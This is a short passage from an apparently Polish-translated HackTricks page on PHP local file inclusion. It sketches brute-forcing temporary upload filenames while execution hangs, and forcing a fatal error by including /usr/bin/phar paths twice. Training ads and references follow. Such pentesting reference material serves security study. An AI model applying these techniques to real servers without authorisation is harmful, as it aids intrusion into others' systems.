Jeśli możesz wykorzystać LFI do upload temporary files i sprawić, że serwer hang wykonanie PHP, możesz wtedy brute force filenames during hours, aby znaleźć plik tymczasowy:
Do Fatal Error
Jeśli włączysz któryś z plików /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar. (Musisz włączyć ten sam plik 2 razy, żeby wywołać ten błąd).
Nie wiem, jak to może być przydatne, ale może być.
Nawet jeśli spowodujesz PHP Fatal Error, PHP temporary files uploaded są usuwane.
.png)
Referencje
-
PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders
-
When Audits Fail: Four Critical Pre-Auth Vulnerabilities in TRUfusion Enterprise
tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
HackTricks